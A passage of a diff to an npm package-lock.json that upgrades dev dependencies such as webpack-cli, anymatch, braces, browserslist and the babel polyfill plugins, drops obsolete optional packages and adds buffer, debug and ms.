"sha512-yEJzHoxf6SyQGhBhIYGXQDSCkJjB6HohDShto7m8vaKg9Yp0Yn8+71J9eakh2bnPg6BfsH9PRMhiRTZnd4eXGQ==", "dev": true, "requires": { "@types/yargs-parser": "*" } }, "@types/yargs-parser": { - "version": "20.2.0", - "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-20.2.0.tgz", - "integrity": "sha512-37RSHht+gzzgYeobbG+KWryeAW8J33Nhr69cjTqSYymXVZEN9NbRYWoYlRtDhHKPVT1FyNKwaTPC1NynKZpzRA==", + "version": "20.2.1", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-20.2.1.tgz", + "integrity": "sha512-7tFImggNeNBVMsn0vLrpn1H1uPrUBdnARPTpZoitY37ZrdJREzf7I16tMrlK3hen349gr1NYh8CmZQa7CTG6Aw==", "dev": true }, "@webassemblyjs/ast": { @@ -3215,24 +3086,24 @@ } }, "@webpack-cli/configtest": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-1.0.4.tgz", - "integrity": "sha512-cs3XLy+UcxiP6bj0A6u7MLLuwdXJ1c3Dtc0RkKg+wiI1g/Ti1om8+/2hc2A2B60NbBNAbMgyBMHvyymWm/j4wQ==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-1.1.0.tgz", + "integrity": "sha512-ttOkEkoalEHa7RaFYpM0ErK1xc4twg3Am9hfHhL7MVqlHebnkYd2wuI/ZqTDj0cVzZho6PdinY0phFZV3O0Mzg==", "dev": true }, "@webpack-cli/info": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-1.3.0.tgz", - "integrity": "sha512-ASiVB3t9LOKHs5DyVUcxpraBXDOKubYu/ihHhU+t1UPpxsivg6Od2E2qU4gJCekfEddzRBzHhzA/Acyw/mlK/w==", + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-1.4.0.tgz", + "integrity": "sha512-F6b+Man0rwE4n0409FyAJHStYA5OIZERxmnUfLVwv0mc0V1wLad3V7jqRlMkgKBeAq07jUvglacNaa6g9lOpuw==", "dev": true, "requires": { "envinfo": "^7.7.3" } }, "@webpack-cli/serve": { - "version": "1.5.2", - "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-1.5.2.tgz", - "integrity": "sha512-vgJ5OLWadI8aKjDlOH3rb+dYyPd2GTZuQC/Tihjct6F9GpXGZINo3Y/IVuZVTM1eDQB+/AOsjPUWH/WySDaXvw==", + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-1.6.0.tgz", + "integrity": "sha512-ZkVeqEmRpBV2GHvjjUZqEai2PpUbuq8Bqd//vEYsp63J8WyexI8ppCqVS3Zs0QADf6aWuPdU+0XsPI647PVlQA==", "dev": true }, "@xtuc/ieee754": { @@ -3269,9 +3140,9 @@ "dev": true }, "acorn-import-assertions": { - "version": "1.7.6", - "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.7.6.tgz", - "integrity": "sha512-FlVvVFA1TX6l3lp8VjDnYYq7R1nyW6x3svAt4nDgrWQ9SBaSh9CnbwgSUTasgfNfOG5HlM1ehugCvM+hjo56LA==", + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.8.0.tgz", + "integrity": "sha512-m7VZ3jwz4eK6A4Vtt8Ew1/mNbP24u0FhdyfA7fSvnJR6LMdfOYnmuIrrJAgrYfYJ10F/otaHTtrtrtmHdMNzEw==", "dev": true }, "acorn-jsx": { @@ -3288,14 +3159,6 @@ "requires": { "clean-stack": "^2.0.0", "indent-string": "^4.0.0" - }, - "dependencies": { - "indent-string": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", - "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", - "dev": true - } } }, "ajv": { @@ -3359,26 +3222,13 @@ } }, "anymatch": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", - "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", + "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", "dev": true, - "optional": true, "requires": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" - }, - "dependencies": { - "normalize-path": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", - "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", - "dev": true, - "optional": true, - "requires": { - "remove-trailing-separator": "^1.0.1" - } - } + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" } }, "argparse": { @@ -3390,27 +3240,6 @@ "sprintf-js": "~1.0.2" } }, - "arr-diff": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", - "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", - "dev": true, - "optional": true - }, - "arr-flatten": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", - "dev": true, - "optional": true - }, - "arr-union": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", - "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=", - "dev": true, - "optional": true - }, "array-flatten": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz", @@ -3418,102 +3247,16 @@ "dev": true }, "array-includes": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.3.tgz", - "integrity": "sha512-gcem1KlBU7c9rB+Rq8/3PPKsK2kjqeEBa3bD5kkQo4nYlOHQCJqIJFqBXDEfwaRuYTT4E+FxA9xez7Gf/e3Q7A==", + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.4.tgz", + "integrity": "sha512-ZTNSQkmWumEbiHO2GF4GmWxYVTiQyJy2XOTa15sdQSrvKn7l+180egQMqlrMOUMCyLMD7pmyQe4mMDUT6Behrw==", "dev": true, "requires": { "call-bind": "^1.0.2", "define-properties": "^1.1.3", - "es-abstract": "^1.18.0-next.2", + "es-abstract": "^1.19.1", "get-intrinsic": "^1.1.1", - "is-string": "^1.0.5" - }, - "dependencies": { - "es-abstract": { - "version": "1.18.0", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", - "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "es-to-primitive": "^1.2.1", - "function-bind": "^1.1.1", - "get-intrinsic": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.2", - "is-callable": "^1.2.3", - "is-negative-zero": "^2.0.1", - "is-regex": "^1.1.2", - "is-string": "^1.0.5", - "object-inspect": "^1.9.0", - "object-keys": "^1.1.1", - "object.assign": "^4.1.2", - "string.prototype.trimend": "^1.0.4", - "string.prototype.trimstart": "^1.0.4", - "unbox-primitive": "^1.0.0" - } - }, - "has-symbols": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", - "dev": true - }, - "is-callable": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", - "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", - "dev": true - }, - "is-regex": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", - "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "has-symbols": "^1.0.1" - } - }, - "object-inspect": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", - "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", - "dev": true - }, - "object.assign": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", - "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", - "dev": true, - "requires": { - "call-bind": "^1.0.0", - "define-properties": "^1.1.3", - "has-symbols": "^1.0.1", - "object-keys": "^1.1.1" - } - }, - "string.prototype.trimend": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", - "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" - } - }, - "string.prototype.trimstart": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", - "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" - } - } + "is-string": "^1.0.7" } }, "array-union": { @@ -3522,109 +3265,15 @@ "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", "dev": true }, - "array-unique": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", - "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", - "dev": true, - "optional": true - }, "array.prototype.flatmap": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.2.4.tgz", - "integrity": "sha512-r9Z0zYoxqHz60vvQbWEdXIEtCwHF0yxaWfno9qzXeNHvfyl3BZqygmGzb84dsubyaXLH4husF+NFgMSdpZhk2Q==", + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.2.5.tgz", + "integrity": "sha512-08u6rVyi1Lj7oqWbS9nUxliETrtIROT4XGTA4D/LWGten6E3ocm7cy9SIrmNHOL5XVbVuckUp3X6Xyg8/zpvHA==", "dev": true, "requires": { "call-bind": "^1.0.0", "define-properties": "^1.1.3", - "es-abstract": "^1.18.0-next.1", - "function-bind": "^1.1.1" - }, - "dependencies": { - "es-abstract": { - "version": "1.18.0", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", - "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "es-to-primitive": "^1.2.1", - "function-bind": "^1.1.1", - "get-intrinsic": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.2", - "is-callable": "^1.2.3", - "is-negative-zero": "^2.0.1", - "is-regex": "^1.1.2", - "is-string": "^1.0.5", - "object-inspect": "^1.9.0", - "object-keys": "^1.1.1", - "object.assign": "^4.1.2", - "string.prototype.trimend": "^1.0.4", - "string.prototype.trimstart": "^1.0.4", - "unbox-primitive": "^1.0.0" - } - }, - "has-symbols": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", - "dev": true - }, - "is-callable": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", - "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", - "dev": true - }, - "is-regex": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", - "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "has-symbols": "^1.0.1" - } - }, - "object-inspect": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", - "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", - "dev": true - }, - "object.assign": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", - "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", - "dev": true, - "requires": { - "call-bind": "^1.0.0", - "define-properties": "^1.1.3", - "has-symbols": "^1.0.1", - "object-keys": "^1.1.1" - } - }, - "string.prototype.trimend": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", - "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" - } - }, - "string.prototype.trimstart": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", - "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" - } - } + "es-abstract": "^1.19.0" } }, "arrify": { @@ -3638,13 +3287,6 @@ "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=" }, - "assign-symbols": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", - "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=", - "dev": true, - "optional": true - }, "ast-types": { "version": "0.9.6", "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.9.6.tgz", @@ -3666,31 +3308,17 @@ "lodash": "^4.17.14" } }, - "async-each": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/async-each/-/async-each-1.0.3.tgz", - "integrity": "sha512-z/WhQ5FPySLdvREByI2vZiTWwCnF0moMJ1hK9YQwDTHKh6I7/uSckMetoRGb5UBZPC1z0jlw+n/XCgjeH7y1AQ==", - "dev": true, - "optional": true - }, - "atob": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz", - "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==", - "dev": true, - "optional": true - }, "autoprefixer": { - "version": "9.8.6", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.8.6.tgz", - "integrity": "sha512-XrvP4VVHdRBCdX1S3WXVD8+RyG9qeb1D5Sn1DeLiG2xfSpzellk5k54xbUERJ3M5DggQxes39UGOTP8CFrEGbg==", + "version": "9.8.8", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.8.8.tgz", + "integrity": "sha512-eM9d/swFopRt5gdJ7jrpCwgvEMIayITpojhkkSMRsFHYuH5bkSQ4p/9qTEHtmNudUZh22Tehu7I6CxAW0IXTKA==", "dev": true, "requires": { "browserslist": "^4.12.0", "caniuse-lite": "^1.0.30001109", - "colorette": "^1.2.1", "normalize-range": "^0.1.2", "num2fraction": "^1.2.2", + "picocolors": "^0.2.1", "postcss": "^7.0.32", "postcss-value-parser": "^4.1.0" } @@ -3775,13 +3403,13 @@ } }, "babel-plugin-polyfill-corejs2": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.2.0.tgz", - "integrity": "sha512-9bNwiR0dS881c5SHnzCmmGlMkJLl0OUZvxrxHo9w/iNoRuqaPjqlvBf4HrovXtQs/au5yKkpcdgfT1cC5PAZwg==", + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.2.2.tgz", + "integrity": "sha512-kISrENsJ0z5dNPq5eRvcctITNHYXWOA4DUZRFYCz3jYCcvTb/A546LIddmoGNMVYg2U38OyFeNosQwI9ENTqIQ==", "dev": true, "requires": { "@babel/compat-data": "^7.13.11", - "@babel/helper-define-polyfill-provider": "^0.2.0", + "@babel/helper-define-polyfill-provider": "^0.2.2", "semver": "^6.1.1" }, "dependencies": { @@ -3794,22 +3422,22 @@ } }, "babel-plugin-polyfill-corejs3": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.2.0.tgz", - "integrity": "sha512-zZyi7p3BCUyzNxLx8KV61zTINkkV65zVkDAFNZmrTCRVhjo1jAS+YLvDJ9Jgd/w2tsAviCwFHReYfxO3Iql8Yg==", + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.2.5.tgz", + "integrity": "sha512-ninF5MQNwAX9Z7c9ED+H2pGt1mXdP4TqzlHKyPIYmJIYz0N+++uwdM7RnJukklhzJ54Q84vA4ZJkgs7lu5vqcw==", "dev": true, "requires": { - "@babel/helper-define-polyfill-provider": "^0.2.0", - "core-js-compat": "^3.9.1" + "@babel/helper-define-polyfill-provider": "^0.2.2", + "core-js-compat": "^3.16.2" } }, "babel-plugin-polyfill-regenerator": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.2.0.tgz", - "integrity": "sha512-J7vKbCuD2Xi/eEHxquHN14bXAW9CXtecwuLrOIDJtcZzTaPzV1VdEfoUf9AzcRBMolKUQKM9/GVojeh0hFiqMg==", + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.2.2.tgz", + "integrity": "sha512-Goy5ghsc21HgPDFtzRkSirpZVW35meGoTmTOb2bxqdl60ghub4xOidgNTHaZfQ2FaxQsKmwvXtOAkcIS4SMBWg==", "dev": true, "requires": { - "@babel/helper-define-polyfill-provider": "^0.2.0" + "@babel/helper-define-polyfill-provider": "^0.2.2" } }, "babel-plugin-syntax-jsx": { @@ -3850,75 +3478,15 @@ "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", "dev": true }, - "base": { - "version": "0.11.2", - "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", - "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", - "dev": true, - "optional": true, - "requires": { - "cache-base": "^1.0.1", - "class-utils": "^0.3.5", - "component-emitter": "^1.2.1", - "define-property": "^1.0.0", - "isobject": "^3.0.1", - "mixin-deep": "^1.2.0", - "pascalcase": "^0.1.1" - }, - "dependencies": { - "define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "optional": true, - "requires": { - "is-descriptor": "^1.0.0" - } - }, - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "optional": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - } - } - }, "base16": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/base16/-/base16-1.0.0.tgz", "integrity": "sha1-4pf2DX7BAUp6lxo568ipjAtoHnA=" }, "base64-js": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.3.1.tgz", - "integrity": "sha512-mLQ4i2QO1ytvGWFWmcngKO//JXAQueZvwEKtjgQFM4jIK0kU+ytMfplL8j+n5mspOfjHwoAg+9yhb7BwAHm36g==" + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" }, "batch": { "version": "0.6.1", @@ -3932,11 +3500,10 @@ "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==" }, "binary-extensions": { - "version": "1.13.1", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.13.1.tgz", - "integrity": "sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw==", - "dev": true, - "optional": true + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true }, "biskviit": { "version": "1.0.1", @@ -3970,10 +3537,19 @@ "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==", "dev": true }, - "qs": { - "version": "6.7.0", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", - "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==", + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", "dev": true } } @@ -4014,73 +3590,34 @@ } }, "braces": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", - "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", "dev": true, - "optional": true, "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - } + "fill-range": "^7.0.1" } }, "browserslist": { - "version": "4.17.0", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.17.0.tgz", - "integrity": "sha512-g2BJ2a0nEYvEFQC208q8mVAhfNwpZ5Mu8BwgtCdZKO3qx98HChmeg448fPdUzld8aFmfLgVh7yymqV+q1lJZ5g==", + "version": "4.17.3", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.17.3.tgz", + "integrity": "sha512-59IqHJV5VGdcJZ+GZ2hU5n4Kv3YiASzW6Xk5g9tf5a/MAzGeFwgGWU39fVzNIOVcgB3+Gp+kiQu0HEfTVU/3VQ==", "dev": true, "requires": { - "caniuse-lite": "^1.0.30001254", - "colorette": "^1.3.0", - "electron-to-chromium": "^1.3.830", + "caniuse-lite": "^1.0.30001264", + "electron-to-chromium": "^1.3.857", "escalade": "^3.1.1", - "node-releases": "^1.1.75" - }, - "dependencies": { - "caniuse-lite": { - "version": "1.0.30001258", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001258.tgz", - "integrity": "sha512-RBByOG6xWXUp0CR2/WU2amXz3stjKpSl5J1xU49F1n2OxD//uBZO4wCKUiG+QMGf7CHGfDDcqoKriomoGVxTeA==", - "dev": true - }, - "colorette": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.4.0.tgz", - "integrity": "sha512-Y2oEozpomLn7Q3HFP7dpww7AtMJplbM9lGZP6RDfHqmbeRjiwRg4n6VM6j4KLmRke85uWEI7JqF17f3pqdRA0g==", - "dev": true - }, - "electron-to-chromium": { - "version": "1.3.842", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.842.tgz", - "integrity": "sha512-P/nDMPIYdb2PyqCQwhTXNi5JFjX1AsDVR0y6FrHw752izJIAJ+Pn5lugqyBq4tXeRSZBMBb2ZGvRGB1djtELEQ==", - "dev": true - }, - "node-releases": { - "version": "1.1.75", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.75.tgz", - "integrity": "sha512-Qe5OUajvqrqDSy6wrWFmMwfJ0jVgwiw4T3KqmbTcZ62qW0gQkheXYhcFM1+lOVcGUoRxcEcfyvFMAnDgaF1VWw==", - "dev": true - } + "node-releases": "^1.1.77", + "picocolors": "^0.2.1" + } + }, + "buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" } }, 